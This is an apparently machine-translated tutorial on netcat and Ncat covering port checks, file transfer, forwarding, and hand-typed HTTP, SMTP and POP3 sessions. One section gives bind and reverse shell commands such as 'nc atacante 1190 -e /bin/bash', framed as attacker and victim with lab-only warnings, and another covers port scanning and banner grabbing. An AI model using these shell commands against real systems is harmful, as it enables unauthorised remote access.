Netcat (nc) and Ncat: practical guide with real-life examples

If you've ever needed a Swiss Army knife for the web, you've probably already heard of netcat (n). With a few commands You can open connections, listen to ports, move files, spy on service headers, and even simulate clients and servers. Everything from the terminal and with a very affordable learning curve, which makes it a essential tool for administration and testing.

At his side appears Ncat, the modern implementation developed under the Nmap umbrella, which adds extras such as SSL/TLS, proxies, and advanced options. Although they look similar, they are not identical: we'll see what differentiates them, how to install them and, above all, a battery of practical examples (TCP and UDP, chat, file transfer, tunnels, direct and reverse shells and dialogues with common protocols) so that you go from zero to useful in no time.

What is Netcat and how is it different from Ncat?

The basics: netcat (n) is a command-line utility for reading and writing data over the network. It works with TCP and UDP, in both IPv4 and IPv6, and can act as a client or server on any port. Its philosophy is simple: "do one thing and do it well," but combined with shell redirects, pipes, and filters, its power is multiplied.

Ncat It was born as a modern evolution within the Nmap project to supplement and expand the functionality of the veteran Netcat. It provides very practical functions: SSL/TLS support to encrypt connections, ability to chain connections, support for SOCKS4/HTTP proxy, TCP/UDP/SCTP port forwarding and options like –send-only. Although the names are confused, They are different programs and its syntax may vary in details depending on the distribution.

In both cases, the playing field is large: from checking for open ports and monitoring services to setting up a simple proxy or a mini test web server. However, some builds disable parameters such as -e for safety; it is advisable check the man of your system.

Installation and manual on different distributions

It comes pre-installed on many distributions, but if you need to install it, it's quick. Debian / Ubuntu You can use the netcat packages (or variations like openbsd-netcat): sudo apt-get install netcatIt is a direct and very easy way convenient to start with.

In environments RHEL, CentOS or Fedora The typical installation is with yum/dnf, for example: yum -y install nc. Depending on the repository, the package may be called nc o nmap-ncat, so it's worth searching for it with your package manager and confirming which variant is installed.

En openSUSE and SUSE Linux Enterprise It's just as simple with YaST: yast -i netcat. After installation, the manual is available with man nc o man 1 netcat, and if you use Ncat, check out their page to learn about its specific extras and flags.

Remember ncat may come with Nmap and its syntax adds its own flags (for example, to SSL or proxies). Read the man for each binary and avoid confusion due to implementation differences between traditional NC and Ncat.

Simple connections: client and server, TCP/UDP and port checking

Connecting as a customer is as direct as specify host and port. For example, to talk to a local SMTP service on port 25: nc 127.0.0.1 25If there is an MTA running, you will see its banner (something like 220 ... ESMTP ...) and you can type SMTP commands manually. It's a fantastic way to inspect responses at low level.

To listen on a port and accept a single incoming connection use nc -l 22222. From another terminal (or machine) connect with nc 127.0.0.1 22222 and any text you send will appear on the other side. This technique is often used as impromptu chat or to debug a client-server application.

If you want to force UDP, Add -u. For example, to check SNMP on 161/UDP You can open a listener or send datagrams with nc -u. Don't forget that UDP behavior differs from TCP (there is no session), so tests and results will be slightly different.

To quickly check ports, nc's “scan” mode (depending on the variant) is -zAnd with -v get detailed output. Examples: nc -vz 127.0.0.1 20-25 returns which TCP ports respond in that range. For UDP: nc -vzu 127.0.0.1 21-80. Add -n avoids DNS resolution and -w 1 sets a 1 second timeout, speeding up checks in environments with latency.

Client-server model and I/O redirections

A classic pattern is the server/client pair and flow redirection. Server: nc -l 22222 > recibido.out to save what arrives to a file. Client: nc 127.0.0.1 22222 < origen.in to send a file. This exchange is useful for testing and one-time transfers without setting up additional services.

You can also chat in free text: server with nc -l 1234 and client with nc host 1234. Anything you write is reflected on the other side, which is great for debug protocols or check if an application receives data as you expect.

With Ncat, there are interesting flags like --send-only, useful when the sender must close after finishing sending a file, ensuring that the receiver is not left waiting indefinitely and improving the session control.

If you need the server to serve multiple clients, in classic nc you can wrap it in a shell loop (e.g. to serve a file repeatedly): while true; do nc -l 80 < index.html; done. It's not elegant or production-safe, but it works very well as a mini-laboratory.

Using UDP: Typical Tests and Nuances

To use UDP, the flag -u Change the transport mode. Listen on UDP (e.g., nc -ul 161) or sends datagrams nc -u host 161. Use it to validate if a service like SNMP answer or to check latency and loss of packages in simple scenarios.

When you scan with UDP, the results can be misleading: the absence of an error doesn't guarantee that the port is open; sometimes you'll see "succeeded" without any application traffic. Supplement these tests with specific tools or network captures if you need precision.

Proxy and port forwarding

A useful recipe is to set up a "pseudo-proxy" by redirecting traffic from one port to another. With Ncat, you can chain connections or use native redirection options. In classic NC, this is achieved with pipes and FIFOs: mkfifo backpipe and then nc -l 1234 < backpipe | nc destino 5678 > backpipe. This way you route the inputs and outputs between both ends for a simple forwarding.

Conceptual example of local redirection: receiving connections on port 80 and passing them to another host/port. In simple NC, you could compose it with pipes; with Ncat You have more direct options and support for proxies (SOCKS/HTTP) and SSL, which makes it easier chain jumps and encrypt the channel.

Note that a one-way redirect is not sufficient for bidirectional protocols: both ways must be handled. Solutions with FIFO or with tools like socat They solve that dual channel in a more robust way when you need traffic in both directions.

Transferring files and directories

For passing files, the basic pattern is universal: on the receiver nc -l -p 1234 > fichero.dest, at the transmitter nc host 1234 < fichero.origen. Simple, direct and very useful for rapid migrations within a controlled network.

Directories? Pack and flow. At the sender: tar czvf - carpeta/ | nc receptor 5555. On the receiver: nc -l 5555 | tar xzvf -. In this way, a compressed stream travels and is decompressed on the fly, ideal for moving file trees without setting up an intermediate server.

You can also chain utilities: for example, follow a log in real time with tail -f and send it by nc: issuer tail -f /var/log/apache2/access.log | nc destino 1190, receiver nc -l 1190. It is a practical way to light monitoring point by point.

In environments Windows and Linux the mechanics are the same. The shell and paths change, but the redirection operators < and > They work the same in classic NC; if you use PowerShell, you can adapt the command to keep the compatibility.

Remote Shells: Forward and Reverse (with security warnings)

Netcat allows you to attach a program to the connection with -e. For example, on Linux: server with nc -lvp 1190 -e /bin/bash and a client connects with nc host 1190, getting a shell. On Windows: -e cmd.exe o -e powershell.exe. This grants total Access to the system that exposes the service, so use it only in laboratory settings.

In a direct connection, the “victim” listens and the “attacker” connects (e.g., Windows listening and Kali connecting to receive a PowerShell). In a reverse connection, the attacker listens and the victim initiates the outgoing connection (e.g., nc atacante 1190 -e /bin/bash), more likely to cross the firewall of the victim

Remember that nc traffic is Clearly; can be easily captured. There are variants such as “cryptcat” for encryption, but older projects are unmaintained. If you need real security, consider Ncat with SSL / TLS or use tools designed for encrypted tunnels.

Many modern builds disable -e by default. Check the man and, if it is not there, look for alternatives (for example, using sh -i with redirects) or rely on specific tools. Do not expose shells on production computers: it is a bad practice.

HTTP by hand: improvised client and server

As a client, you can open a connection to port 80 and type a raw request. For example: nc servidor 80 and then GET / HTTP/1.1\r\nHost: servidor\r\n\r\nYou'll see the headers and the response body. This is useful for verifying 4xx/5xx errors, redirects and headers without resorting to curl.

To simulate a Web server basic in 8080: nc -l -p 8080, open a browser and visit http://localhost:8080/. In the terminal, you'll see the HTTP request; you can paste a minimal response with headers and HTML. As a manual server, it's perfect for understand the protocol and debug the exchange.

If you want to automate, combine the loop: while true; do nc -l 80 < pagina.html; done. Rudimentary way of always serving the same file, ideal for displaying static pages during internal testing.

When testing against real sites, remember that some CDNs or WAFs respond with 400 Bad Request If the request is incomplete or missing headers. This is precisely part of the nc value: see what a server expects and how it reacts to variations.

SMTP and POP3: Example Dialogs

With SMTP, connect to the 25 port: nc mail.ejemplo.com 25. Test commands: HELO cliente, then MAIL FROM: [email protected], RCPT TO: [email protected], DATA, write subject and body and end with a period on a line solitaria. Close with QUIT. It's a perfect way to inspect how your MTA recognizes sender and recipient.

For POP3 (port 110): nc pop.ejemplo.com 110 and then USER miusuario y PASS mipassword to authenticate (note: it's clear). Useful commands: STAT (state), LIST (list), RETR 1 (download the first one) and QUIT. Ideal for validating credentials and check mailbox without graphical client.

These exercises show why nc is the “canivete suíço” of the network: you can emulate real customers and read answers As is, without any intermediate layers. For production, use more secure tools (TLS, strong authentication), but for learning and debugging, there's nothing better. transparent.

Port Scanning and Banner Grabbing Techniques

For a quick TCP scan, use it like this: nc -w 1 -vzn 10.0.0.11 21-80. Displays open ports and, if known, the associated service. For UDP: nc -w 1 -vzu 10.0.0.11 21-80. It's not Nmap, but as a fast port ping it is very comfortable.

El banner grabbing gives you the services version: nc 10.0.0.11 22 usually returns something like SSH-2.0-OpenSSH_...; nc 10.0.0.11 21 It gives you the FTP banner. This information is valuable for inventorying and checking if a service respond and with which version.

If you prefer to see only the ports that “succeed”, filter the standard error output with 2>&1 | grep succeeded. This way you build a quick report that highlights only what you need. revise.

Netstat as a travel companion

While testing with nc, netstat helps you see what's happening on your machine: -a for all, -l for listening sockets, -p to see processes (root), -e for extended mode; -t for TCP and -u for UDP. Use it to list which ports are open and confirm that your nc is really listen or connect where you wait.

A classic lab exercise: raise nc listening on a port > 1024, connect from another terminal or machine, and then run netstat to identify the connection, view the local and remote IP/port and status. It is educational and clarifies how the client-server model.

Mixed cases on Linux and Windows

The “Kali vs Windows” examples illustrate that the pattern holds: listen with -lvp and attach a shell with -e (PowerShell, cmd.exe or /bin/bash). Change who listens and who connects as you wish. direct connection or a reverse connection, taking into account that firewalls usually allow exits more easily than entrances.

For file transfers, the address doesn't matter: the sending side redirects with < and he who receives with >. With directories, pack (zip/tar) before sending and unpack upon receiving. In real time, send a log stream with tail and nc to a listening port: practical, lightweight and easy to automate with scripts.

Remember: all of this travels in plain text. If the sensitivity of the data requires it, use Ncat with encryption or don't use nc at all. sensitive trafficThis tool shines in lab, troubleshooting, and controlled environments.

From checking if "that port" is actually responding, to setting up a makeshift server, redirecting traffic between ports, spying on banners, talking to SMTP/POP3 yourself, or moving a tar.gz from one machine to another, Netcat and Ncat offer a surprisingly wide range of possibilities. With a few well-learned flags (-l, -v, -z, -u, -w, -e) and playing with redirects and pipes, you can cover diagnostic, testing, and light automation tasks without installing anything heavier.